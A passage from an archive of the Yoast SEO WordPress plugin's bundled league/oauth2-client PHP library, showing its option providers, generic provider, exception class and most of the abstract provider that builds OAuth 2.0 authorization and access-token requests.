    protected $guarded = [];
    /**
     * Attempts to mass assign the given options to explicitly defined properties,
     * skipping over any properties that are defined in the guarded array.
     *
     * @param array $options
     * @return mixed
     */
    protected function fillProperties(array $options = [])
    {
        if (isset($options['guarded'])) {
            unset($options['guarded']);
        }
        foreach ($options as $option => $value) {
            if (\property_exists($this, $option) && !$this->isGuarded($option)) {
                $this->{$option} = $value;
            }
        }
    }
    /**
     * Returns current guarded properties.
     *
     * @return array
     */
    public function getGuarded()
    {
        return $this->guarded;
    }
    /**
     * Determines if the given property is guarded.
     *
     * @param  string  $property
     * @return bool
     */
    public function isGuarded($property)
    {
        return \in_array($property, $this->getGuarded());
    }
}
vendor_prefixed/league/oauth2-client/src/OptionProvider/HttpBasicAuthOptionProvider.php000064400000002752147510273100030304 0ustar00wordpress-seo<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\OptionProvider;

use InvalidArgumentException;
/**
 * Add http basic auth into access token request options
 * @link https://tools.ietf.org/html/rfc6749#section-2.3.1
 */
class HttpBasicAuthOptionProvider extends \YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\PostAuthOptionProvider
{
    /**
     * @inheritdoc
     */
    public function getAccessTokenOptions($method, array $params)
    {
        if (empty($params['client_id']) || empty($params['client_secret'])) {
            throw new \InvalidArgumentException('clientId and clientSecret are required for http basic auth');
        }
        $encodedCredentials = \base64_encode(\sprintf('%s:%s', $params['client_id'], $params['client_secret']));
        unset($params['client_id'], $params['client_secret']);
        $options = parent::getAccessTokenOptions($method, $params);
        $options['headers']['Authorization'] = 'Basic ' . $encodedCredentials;
        return $options;
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/OptionProvider/OptionProviderInterface.php000064400000001613147510273100027553 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\OptionProvider;

/**
 * Interface for access token options provider
 */
interface OptionProviderInterface
{
    /**
     * Builds request options used for requesting an access token.
     *
     * @param string $method
     * @param  array $params
     * @return array
     */
    public function getAccessTokenOptions($method, array $params);
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/OptionProvider/PostAuthOptionProvider.php000064400000003041147510273100027417 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\OptionProvider;

use YoastSEO_Vendor\League\OAuth2\Client\Provider\AbstractProvider;
use YoastSEO_Vendor\League\OAuth2\Client\Tool\QueryBuilderTrait;
/**
 * Provide options for access token
 */
class PostAuthOptionProvider implements \YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\OptionProviderInterface
{
    use QueryBuilderTrait;
    /**
     * @inheritdoc
     */
    public function getAccessTokenOptions($method, array $params)
    {
        $options = ['headers' => ['content-type' => 'application/x-www-form-urlencoded']];
        if ($method === \YoastSEO_Vendor\League\OAuth2\Client\Provider\AbstractProvider::METHOD_POST) {
            $options['body'] = $this->getAccessTokenBody($params);
        }
        return $options;
    }
    /**
     * Returns the request body for requesting an access token.
     *
     * @param  array $params
     * @return string
     */
    protected function getAccessTokenBody(array $params)
    {
        return $this->buildQueryString($params);
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Provider/ResourceOwnerInterface.php000064400000002002147510273100026172 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Provider;

/**
 * Classes implementing `ResourceOwnerInterface` may be used to represent
 * the resource owner authenticated with a service provider.
 */
interface ResourceOwnerInterface
{
    /**
     * Returns the identifier of the authorized resource owner.
     *
     * @return mixed
     */
    public function getId();
    /**
     * Return all of the owner details available as an array.
     *
     * @return array
     */
    public function toArray();
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Provider/GenericProvider.php000064400000013404147510273100024646 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Provider;

use InvalidArgumentException;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException;
use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken;
use YoastSEO_Vendor\League\OAuth2\Client\Tool\BearerAuthorizationTrait;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
/**
 * Represents a generic service provider that may be used to interact with any
 * OAuth 2.0 service provider, using Bearer token authentication.
 */
class GenericProvider extends \YoastSEO_Vendor\League\OAuth2\Client\Provider\AbstractProvider
{
    use BearerAuthorizationTrait;
    /**
     * @var string
     */
    private $urlAuthorize;
    /**
     * @var string
     */
    private $urlAccessToken;
    /**
     * @var string
     */
    private $urlResourceOwnerDetails;
    /**
     * @var string
     */
    private $accessTokenMethod;
    /**
     * @var string
     */
    private $accessTokenResourceOwnerId;
    /**
     * @var array|null
     */
    private $scopes = null;
    /**
     * @var string
     */
    private $scopeSeparator;
    /**
     * @var string
     */
    private $responseError = 'error';
    /**
     * @var string
     */
    private $responseCode;
    /**
     * @var string
     */
    private $responseResourceOwnerId = 'id';
    /**
     * @var string|null
     */
    private $pkceMethod = null;
    /**
     * @param array $options
     * @param array $collaborators
     */
    public function __construct(array $options = [], array $collaborators = [])
    {
        $this->assertRequiredOptions($options);
        $possible = $this->getConfigurableOptions();
        $configured = \array_intersect_key($options, \array_flip($possible));
        foreach ($configured as $key => $value) {
            $this->{$key} = $value;
        }
        // Remove all options that are only used locally
        $options = \array_diff_key($options, $configured);
        parent::__construct($options, $collaborators);
    }
    /**
     * Returns all options that can be configured.
     *
     * @return array
     */
    protected function getConfigurableOptions()
    {
        return \array_merge($this->getRequiredOptions(), ['accessTokenMethod', 'accessTokenResourceOwnerId', 'scopeSeparator', 'responseError', 'responseCode', 'responseResourceOwnerId', 'scopes', 'pkceMethod']);
    }
    /**
     * Returns all options that are required.
     *
     * @return array
     */
    protected function getRequiredOptions()
    {
        return ['urlAuthorize', 'urlAccessToken', 'urlResourceOwnerDetails'];
    }
    /**
     * Verifies that all required options have been passed.
     *
     * @param  array $options
     * @return void
     * @throws InvalidArgumentException
     */
    private function assertRequiredOptions(array $options)
    {
        $missing = \array_diff_key(\array_flip($this->getRequiredOptions()), $options);
        if (!empty($missing)) {
            throw new \InvalidArgumentException('Required options not defined: ' . \implode(', ', \array_keys($missing)));
        }
    }
    /**
     * @inheritdoc
     */
    public function getBaseAuthorizationUrl()
    {
        return $this->urlAuthorize;
    }
    /**
     * @inheritdoc
     */
    public function getBaseAccessTokenUrl(array $params)
    {
        return $this->urlAccessToken;
    }
    /**
     * @inheritdoc
     */
    public function getResourceOwnerDetailsUrl(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token)
    {
        return $this->urlResourceOwnerDetails;
    }
    /**
     * @inheritdoc
     */
    public function getDefaultScopes()
    {
        return $this->scopes;
    }
    /**
     * @inheritdoc
     */
    protected function getAccessTokenMethod()
    {
        return $this->accessTokenMethod ?: parent::getAccessTokenMethod();
    }
    /**
     * @inheritdoc
     */
    protected function getAccessTokenResourceOwnerId()
    {
        return $this->accessTokenResourceOwnerId ?: parent::getAccessTokenResourceOwnerId();
    }
    /**
     * @inheritdoc
     */
    protected function getScopeSeparator()
    {
        return $this->scopeSeparator ?: parent::getScopeSeparator();
    }
    /**
     * @inheritdoc
     */
    protected function getPkceMethod()
    {
        return $this->pkceMethod ?: parent::getPkceMethod();
    }
    /**
     * @inheritdoc
     */
    protected function checkResponse(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response, $data)
    {
        if (!empty($data[$this->responseError])) {
            $error = $data[$this->responseError];
            if (!\is_string($error)) {
                $error = \var_export($error, \true);
            }
            $code = $this->responseCode && !empty($data[$this->responseCode]) ? $data[$this->responseCode] : 0;
            if (!\is_int($code)) {
                $code = \intval($code);
            }
            throw new \YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException($error, $code, $data);
        }
    }
    /**
     * @inheritdoc
     */
    protected function createResourceOwner(array $response, \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token)
    {
        return new \YoastSEO_Vendor\League\OAuth2\Client\Provider\GenericResourceOwner($response, $this->responseResourceOwnerId);
    }
}
vendor_prefixed/league/oauth2-client/src/Provider/Exception/IdentityProviderException.php000064400000002273147510273100030623 0ustar00wordpress-seo<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception;

/**
 * Exception thrown if the provider response contains errors.
 */
class IdentityProviderException extends \Exception
{
    /**
     * @var mixed
     */
    protected $response;
    /**
     * @param string $message
     * @param int $code
     * @param mixed $response The response body
     */
    public function __construct($message, $code, $response)
    {
        $this->response = $response;
        parent::__construct($message, $code);
    }
    /**
     * Returns the exception's response body.
     *
     * @return mixed
     */
    public function getResponseBody()
    {
        return $this->response;
    }
}
wordpress-seo/vendor_prefixed/league/oauth2-client/src/Provider/AbstractProvider.php000064400000064351147510273100025044 0ustar00<?php

/**
 * This file is part of the league/oauth2-client library
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 *
 * @copyright Copyright (c) Alex Bilbie <hello@alexbilbie.com>
 * @license http://opensource.org/licenses/MIT MIT
 * @link http://thephpleague.com/oauth2-client/ Documentation
 * @link https://packagist.org/packages/league/oauth2-client Packagist
 * @link https://github.com/thephpleague/oauth2-client GitHub
 */
namespace YoastSEO_Vendor\League\OAuth2\Client\Provider;

use YoastSEO_Vendor\GuzzleHttp\Client as HttpClient;
use YoastSEO_Vendor\GuzzleHttp\ClientInterface as HttpClientInterface;
use YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException;
use InvalidArgumentException;
use YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant;
use YoastSEO_Vendor\League\OAuth2\Client\Grant\GrantFactory;
use YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\OptionProviderInterface;
use YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\PostAuthOptionProvider;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException;
use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken;
use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface;
use YoastSEO_Vendor\League\OAuth2\Client\Tool\ArrayAccessorTrait;
use YoastSEO_Vendor\League\OAuth2\Client\Tool\GuardedPropertyTrait;
use YoastSEO_Vendor\League\OAuth2\Client\Tool\QueryBuilderTrait;
use YoastSEO_Vendor\League\OAuth2\Client\Tool\RequestFactory;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use UnexpectedValueException;
/**
 * Represents a service provider (authorization server).
 *
 * @link http://tools.ietf.org/html/rfc6749#section-1.1 Roles (RFC 6749, §1.1)
 */
abstract class AbstractProvider
{
    use ArrayAccessorTrait;
    use GuardedPropertyTrait;
    use QueryBuilderTrait;
    /**
     * @var string|null Key used in a token response to identify the resource owner.
     */
    const ACCESS_TOKEN_RESOURCE_OWNER_ID = null;
    /**
     * @var string HTTP method used to fetch access tokens.
     */
    const METHOD_GET = 'GET';
    /**
     * @var string HTTP method used to fetch access tokens.
     */
    const METHOD_POST = 'POST';
    /**
     * @var string PKCE method used to fetch authorization token.
     * The PKCE code challenge will be hashed with sha256 (recommended).
     */
    const PKCE_METHOD_S256 = 'S256';
    /**
     * @var string PKCE method used to fetch authorization token.
     * The PKCE code challenge will be sent as plain text, this is NOT recommended.
     * Only use `plain` if no other option is possible.
     */
    const PKCE_METHOD_PLAIN = 'plain';
    /**
     * @var string
     */
    protected $clientId;
    /**
     * @var string
     */
    protected $clientSecret;
    /**
     * @var string
     */
    protected $redirectUri;
    /**
     * @var string
     */
    protected $state;
    /**
     * @var string|null
     */
    protected $pkceCode = null;
    /**
     * @var GrantFactory
     */
    protected $grantFactory;
    /**
     * @var RequestFactory
     */
    protected $requestFactory;
    /**
     * @var HttpClientInterface
     */
    protected $httpClient;
    /**
     * @var OptionProviderInterface
     */
    protected $optionProvider;
    /**
     * Constructs an OAuth 2.0 service provider.
     *
     * @param array $options An array of options to set on this provider.
     *     Options include `clientId`, `clientSecret`, `redirectUri`, and `state`.
     *     Individual providers may introduce more options, as needed.
     * @param array $collaborators An array of collaborators that may be used to
     *     override this provider's default behavior. Collaborators include
     *     `grantFactory`, `requestFactory`, and `httpClient`.
     *     Individual providers may introduce more collaborators, as needed.
     */
    public function __construct(array $options = [], array $collaborators = [])
    {
        // We'll let the GuardedPropertyTrait handle mass assignment of incoming
        // options, skipping any blacklisted properties defined in the provider
        $this->fillProperties($options);
        if (empty($collaborators['grantFactory'])) {
            $collaborators['grantFactory'] = new \YoastSEO_Vendor\League\OAuth2\Client\Grant\GrantFactory();
        }
        $this->setGrantFactory($collaborators['grantFactory']);
        if (empty($collaborators['requestFactory'])) {
            $collaborators['requestFactory'] = new \YoastSEO_Vendor\League\OAuth2\Client\Tool\RequestFactory();
        }
        $this->setRequestFactory($collaborators['requestFactory']);
        if (empty($collaborators['httpClient'])) {
            $client_options = $this->getAllowedClientOptions($options);
            $collaborators['httpClient'] = new \YoastSEO_Vendor\GuzzleHttp\Client(\array_intersect_key($options, \array_flip($client_options)));
        }
        $this->setHttpClient($collaborators['httpClient']);
        if (empty($collaborators['optionProvider'])) {
            $collaborators['optionProvider'] = new \YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\PostAuthOptionProvider();
        }
        $this->setOptionProvider($collaborators['optionProvider']);
    }
    /**
     * Returns the list of options that can be passed to the HttpClient
     *
     * @param array $options An array of options to set on this provider.
     *     Options include `clientId`, `clientSecret`, `redirectUri`, and `state`.
     *     Individual providers may introduce more options, as needed.
     * @return array The options to pass to the HttpClient constructor
     */
    protected function getAllowedClientOptions(array $options)
    {
        $client_options = ['timeout', 'proxy'];
        // Only allow turning off ssl verification if it's for a proxy
        if (!empty($options['proxy'])) {
            $client_options[] = 'verify';
        }
        return $client_options;
    }
    /**
     * Sets the grant factory instance.
     *
     * @param  GrantFactory $factory
     * @return self
     */
    public function setGrantFactory(\YoastSEO_Vendor\League\OAuth2\Client\Grant\GrantFactory $factory)
    {
        $this->grantFactory = $factory;
        return $this;
    }
    /**
     * Returns the current grant factory instance.
     *
     * @return GrantFactory
     */
    public function getGrantFactory()
    {
        return $this->grantFactory;
    }
    /**
     * Sets the request factory instance.
     *
     * @param  RequestFactory $factory
     * @return self
     */
    public function setRequestFactory(\YoastSEO_Vendor\League\OAuth2\Client\Tool\RequestFactory $factory)
    {
        $this->requestFactory = $factory;
        return $this;
    }
    /**
     * Returns the request factory instance.
     *
     * @return RequestFactory
     */
    public function getRequestFactory()
    {
        return $this->requestFactory;
    }
    /**
     * Sets the HTTP client instance.
     *
     * @param  HttpClientInterface $client
     * @return self
     */
    public function setHttpClient(\YoastSEO_Vendor\GuzzleHttp\ClientInterface $client)
    {
        $this->httpClient = $client;
        return $this;
    }
    /**
     * Returns the HTTP client instance.
     *
     * @return HttpClientInterface
     */
    public function getHttpClient()
    {
        return $this->httpClient;
    }
    /**
     * Sets the option provider instance.
     *
     * @param  OptionProviderInterface $provider
     * @return self
     */
    public function setOptionProvider(\YoastSEO_Vendor\League\OAuth2\Client\OptionProvider\OptionProviderInterface $provider)
    {
        $this->optionProvider = $provider;
        return $this;
    }
    /**
     * Returns the option provider instance.
     *
     * @return OptionProviderInterface
     */
    public function getOptionProvider()
    {
        return $this->optionProvider;
    }
    /**
     * Returns the current value of the state parameter.
     *
     * This can be accessed by the redirect handler during authorization.
     *
     * @return string
     */
    public function getState()
    {
        return $this->state;
    }
    /**
     * Set the value of the pkceCode parameter.
     *
     * When using PKCE this should be set before requesting an access token.
     *
     * @param string $pkceCode
     * @return self
     */
    public function setPkceCode($pkceCode)
    {
        $this->pkceCode = $pkceCode;
        return $this;
    }
    /**
     * Returns the current value of the pkceCode parameter.
     *
     * This can be accessed by the redirect handler during authorization.
     *
     * @return string|null
     */
    public function getPkceCode()
    {
        return $this->pkceCode;
    }
    /**
     * Returns the base URL for authorizing a client.
     *
     * Eg. https://oauth.service.com/authorize
     *
     * @return string
     */
    public abstract function getBaseAuthorizationUrl();
    /**
     * Returns the base URL for requesting an access token.
     *
     * Eg. https://oauth.service.com/token
     *
     * @param array $params
     * @return string
     */
    public abstract function getBaseAccessTokenUrl(array $params);
    /**
     * Returns the URL for requesting the resource owner's details.
     *
     * @param AccessToken $token
     * @return string
     */
    public abstract function getResourceOwnerDetailsUrl(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token);
    /**
     * Returns a new random string to use as the state parameter in an
     * authorization flow.
     *
     * @param  int $length Length of the random string to be generated.
     * @return string
     */
    protected function getRandomState($length = 32)
    {
        // Converting bytes to hex will always double length. Hence, we can reduce
        // the amount of bytes by half to produce the correct length.
        return \bin2hex(\random_bytes($length / 2));
    }
    /**
     * Returns a new random string to use as PKCE code_verifier and
     * hashed as code_challenge parameters in an authorization flow.
     * Must be between 43 and 128 characters long.
     *
     * @param  int $length Length of the random string to be generated.
     * @return string
     */
    protected function getRandomPkceCode($length = 64)
    {
        return \substr(\strtr(\base64_encode(\random_bytes($length)), '+/', '-_'), 0, $length);
    }
    /**
     * Returns the default scopes used by this provider.
     *
     * This should only be the scopes that are required to request the details
     * of the resource owner, rather than all the available scopes.
     *
     * @return array
     */
    protected abstract function getDefaultScopes();
    /**
     * Returns the string that should be used to separate scopes when building
     * the URL for requesting an access token.
     *
     * @return string Scope separator, defaults to ','
     */
    protected function getScopeSeparator()
    {
        return ',';
    }
    /**
     * @return string|null
     */
    protected function getPkceMethod()
    {
        return null;
    }
    /**
     * Returns authorization parameters based on provided options.
     *
     * @param  array $options
     * @return array Authorization parameters
     */
    protected function getAuthorizationParameters(array $options)
    {
        if (empty($options['state'])) {
            $options['state'] = $this->getRandomState();
        }
        if (empty($options['scope'])) {
            $options['scope'] = $this->getDefaultScopes();
        }
        $options += ['response_type' => 'code', 'approval_prompt' => 'auto'];
        if (\is_array($options['scope'])) {
            $separator = $this->getScopeSeparator();
            $options['scope'] = \implode($separator, $options['scope']);
        }
        // Store the state as it may need to be accessed later on.
        $this->state = $options['state'];
        $pkceMethod = $this->getPkceMethod();
        if (!empty($pkceMethod)) {
            $this->pkceCode = $this->getRandomPkceCode();
            if ($pkceMethod === static::PKCE_METHOD_S256) {
                $options['code_challenge'] = \trim(\strtr(\base64_encode(\hash('sha256', $this->pkceCode, \true)), '+/', '-_'), '=');
            } elseif ($pkceMethod === static::PKCE_METHOD_PLAIN) {
                $options['code_challenge'] = $this->pkceCode;
            } else {
                throw new \InvalidArgumentException('Unknown PKCE method "' . $pkceMethod . '".');
            }
            $options['code_challenge_method'] = $pkceMethod;
        }
        // Business code layer might set a different redirect_uri parameter
        // depending on the context, leave it as-is
        if (!isset($options['redirect_uri'])) {
            $options['redirect_uri'] = $this->redirectUri;
        }
        $options['client_id'] = $this->clientId;
        return $options;
    }
    /**
     * Builds the authorization URL's query string.
     *
     * @param  array $params Query parameters
     * @return string Query string
     */
    protected function getAuthorizationQuery(array $params)
    {
        return $this->buildQueryString($params);
    }
    /**
     * Builds the authorization URL.
     *
     * @param  array $options
     * @return string Authorization URL
     */
    public function getAuthorizationUrl(array $options = [])
    {
        $base = $this->getBaseAuthorizationUrl();
        $params = $this->getAuthorizationParameters($options);
        $query = $this->getAuthorizationQuery($params);
        return $this->appendQuery($base, $query);
    }
    /**
     * Redirects the client for authorization.
     *
     * @param  array $options
     * @param  callable|null $redirectHandler
     * @return mixed
     */
    public function authorize(array $options = [], callable $redirectHandler = null)
    {
        $url = $this->getAuthorizationUrl($options);
        if ($redirectHandler) {
            return $redirectHandler($url, $this);
        }
        // @codeCoverageIgnoreStart
        \header('Location: ' . $url);
        exit;
        // @codeCoverageIgnoreEnd
    }
    /**
     * Appends a query string to a URL.
     *
     * @param  string $url The URL to append the query to
     * @param  string $query The HTTP query string
     * @return string The resulting URL
     */
    protected function appendQuery($url, $query)
    {
        $query = \trim($query, '?&');
        if ($query) {
            $glue = \strstr($url, '?') === \false ? '?' : '&';
            return $url . $glue . $query;
        }
        return $url;
    }
    /**
     * Returns the method to use when requesting an access token.
     *
     * @return string HTTP method
     */
    protected function getAccessTokenMethod()
    {
        return self::METHOD_POST;
    }
    /**
     * Returns the key used in the access token response to identify the resource owner.
     *
     * @return string|null Resource owner identifier key
     */
    protected function getAccessTokenResourceOwnerId()
    {
        return static::ACCESS_TOKEN_RESOURCE_OWNER_ID;
    }
    /**
     * Builds the access token URL's query string.
     *
     * @param  array $params Query parameters
     * @return string Query string
     */
    protected function getAccessTokenQuery(array $params)
    {
        return $this->buildQueryString($params);
    }
    /**
     * Checks that a provided grant is valid, or attempts to produce one if the
     * provided grant is a string.
     *
     * @param  AbstractGrant|string $grant
     * @return AbstractGrant
     */
    protected function verifyGrant($grant)
    {
        if (\is_string($grant)) {
            return $this->grantFactory->getGrant($grant);
        }
        $this->grantFactory->checkGrant($grant);
        return $grant;
    }
    /**
     * Returns the full URL to use when requesting an access token.
     *
     * @param array $params Query parameters
     * @return string
     */
    protected function getAccessTokenUrl(array $params)
    {
        $url = $this->getBaseAccessTokenUrl($params);
        if ($this->getAccessTokenMethod() === self::METHOD_GET) {
            $query = $this->getAccessTokenQuery($params);
            return $this->appendQuery($url, $query);
        }
        return $url;
    }
    /**
     * Returns a prepared request for requesting an access token.
     *
     * @param array $params Query string parameters
     * @return RequestInterface
     */
    protected function getAccessTokenRequest(array $params)
    {
        $method = $this->getAccessTokenMethod();
        $url = $this->getAccessTokenUrl($params);
        $options = $this->optionProvider->getAccessTokenOptions($this->getAccessTokenMethod(), $params);
        return $this->getRequest($method, $url, $options);
    }
    /**
     * Requests an access token using a specified grant and option set.
     *
     * @param  mixed                $grant
     * @param  array<string, mixed> $options
     * @throws IdentityProviderException
     * @return AccessTokenInterface
     */
    public function getAccessToken($grant, array $options = [])
    {
        $grant = $this->verifyGrant($grant);
        $params = ['client_id' => $this->clientId, 'client_secret' => $this->clientSecret, 'redirect_uri' => $this->redirectUri];
        if (!empty($this->pkceCode)) {
            $params['code_verifier'] = $this->pkceCode;
        }
        $params = $grant->prepareRequestParameters($params, $options);
        $request = $this->getAccessTokenRequest($params);
        $response = $this->getParsedResponse($request);
        if (\false === \is_array($response)) {
            throw new \UnexpectedValueException('Invalid response received from Authorization Server. Expected JSON.');
        }
        $prepared = $this->prepareAccessTokenResponse($response);
        $token = $this->createAccessToken($prepared, $grant);
        return $token;
    }
    /**
     * Returns a PSR-7 request instance that is not authenticated.
     *
     * @param  string $method
     * @param  string $url
     * @param  array $options
     * @return RequestInterface
     */
    public function getRequest($method, $url, array $options = [])
    {
        return $this->createRequest($method, $url, null, $options);
    }
    /**
     * Returns an authenticated PSR-7 request instance.
     *
     * @param  string $method
     * @param  string $url
     * @param  AccessTokenInterface|string|null $token
     * @param  array $options Any of "headers", "body", and "protocolVersion".
     * @return RequestInterface
     */
    public function getAuthenticatedRequest($method, $url, $token, array $options = [])
    {
        return $this->createRequest($method, $url, $token, $options);
    }
    /**
     * Creates a PSR-7 request instance.
     *
     * @param  string $method
     * @param  string $url
     * @param  AccessTokenInterface|string|null $token
     * @param  array $options
     * @return RequestInterface
     */
    protected function createRequest($method, $url, $token, array $options)
    {
        $defaults = ['headers' => $this->getHeaders($token)];
        $options = \array_merge_recursive($defaults, $options);
        $factory = $this->getRequestFactory();
        return $factory->getRequestWithOptions($method, $url, $options);
    }
    /**
     * Sends a request instance and returns a response instance.
     *
     * WARNING: This method does not attempt to catch exceptions caused by HTTP
     * errors! It is recommended to wrap this method in a try/catch block.
     *
     * @param  RequestInterface $request
     * @return ResponseInterface
     */
    public function getResponse(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request)
    {
        return $this->getHttpClient()->send($request);
    }
    /**
     * Sends a request and returns the parsed response.
     *
     * @param  RequestInterface $request
     * @throws IdentityProviderException
     * @return mixed
     */
    public function getParsedResponse(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request)
    {
        try {
            $response = $this->getResponse($request);
        } catch (\YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException $e) {
            $response = $e->getResponse();
        }
        $parsed = $this->parseResponse($response);
        $this->checkResponse($response, $parsed);
        return $parsed;
    }
    /**
     * Attempts to parse a JSON response.
     *
     * @param  string $content JSON content from response body
     * @return array Parsed JSON data
     * @throws UnexpectedValueException if the content could not be parsed
     */
    protected function parseJson($content)
    {
        $content = \json_decode($content, \true);
        if (\json_last_error() !== \JSON_ERROR_NONE) {
            throw new \UnexpectedValueException(\sprintf("Failed to parse JSON response: %s", \json_last_error_msg()));
        }
        return $content;
    }
    /**
     * Returns the content type header of a response.
     *
     * @param  ResponseInterface $response
     * @return string Semi-colon separated join of content-type headers.
     */
    protected function getContentType(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response)
    {
        return \join(';', (array) $response->getHeader('content-type'));
    }
    /**
     * Parses the response according to its content-type header.
     *
     * @throws UnexpectedValueException
     * @param  ResponseInterface $response
     * @return array
     */
    protected function parseResponse(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response)
    {
        $content = (string) $response->getBody();
        $type = $this->getContentType($response);
        if (\strpos($type, 'urlencoded') !== \false) {
            \parse_str($content, $parsed);
            return $parsed;
        }
        // Attempt to parse the string as JSON regardless of content type,
        // since some providers use non-standard content types. Only throw an
        // exception if the JSON could not be parsed when it was expected to.
        try {
            return $this->parseJson($content);
        } catch (\UnexpectedValueException $e) {
            if (\strpos($type, 'json') !== \false) {
                throw $e;
            }
            if ($response->getStatusCode() == 500) {
                throw new \UnexpectedValueException('An OAuth server error was encountered that did not contain a JSON body', 0, $e);
            }
            return $content;
        }
    }
    /**
     * Checks a provider response for errors.
     *
     * @throws IdentityProviderException
     * @param  ResponseInterface $response
     * @param  array|string $data Parsed response data
     * @return void
     */
    protected abstract function checkResponse(\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response, $data);
    /**
     * Prepares an parsed access token response for a grant.
     *
     * Custom mapping of expiration, etc should be done here. Always call the
     * parent method when overloading this method.
     *
     * @param  mixed $result
     * @return array
     */
    protected function prepareAccessTokenResponse(array $result)
    {
        if ($this->getAccessTokenResourceOwnerId() !== null) {
            $result['resource_owner_id'] = $this->getValueByKey($result, $this->getAccessTokenResourceOwnerId());
        }
        return $result;
    }
    /**
     * Creates an access token from a response.
     *
     * The grant that was used to fetch the response can be used to provide
     * additional context.
     *
     * @param  array $response
     * @param  AbstractGrant $grant
     * @return AccessTokenInterface
     */
    protected function createAccessToken(array $response, \YoastSEO_Vendor\League\OAuth2\Client\Grant\AbstractGrant $grant)
    {
        return new \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken($response);
    }
    /**
     * Generates a resource owner object from a successful resource owner
     * details request.
     *
     * @param  array $response
     * @param  AccessToken $token
     * @return ResourceOwnerInterface
     */
    protected abstract function createResourceOwner(array $response, \YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token);
    /**
     * Requests and returns the resource owner of given access token.
     *
     * @param  AccessToken $token
     * @return ResourceOwnerInterface
     */
    public function getResourceOwner(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token)
    {
        $response = $this->fetchResourceOwnerDetails($token);
        return $this->createResourceOwner($response, $token);
    }
    /**
     * Requests resource owner details.
     *
     * @param  AccessToken $token
     * @return mixed
     */
    protected function fetchResourceOwnerDetails(\YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken $token)
    {
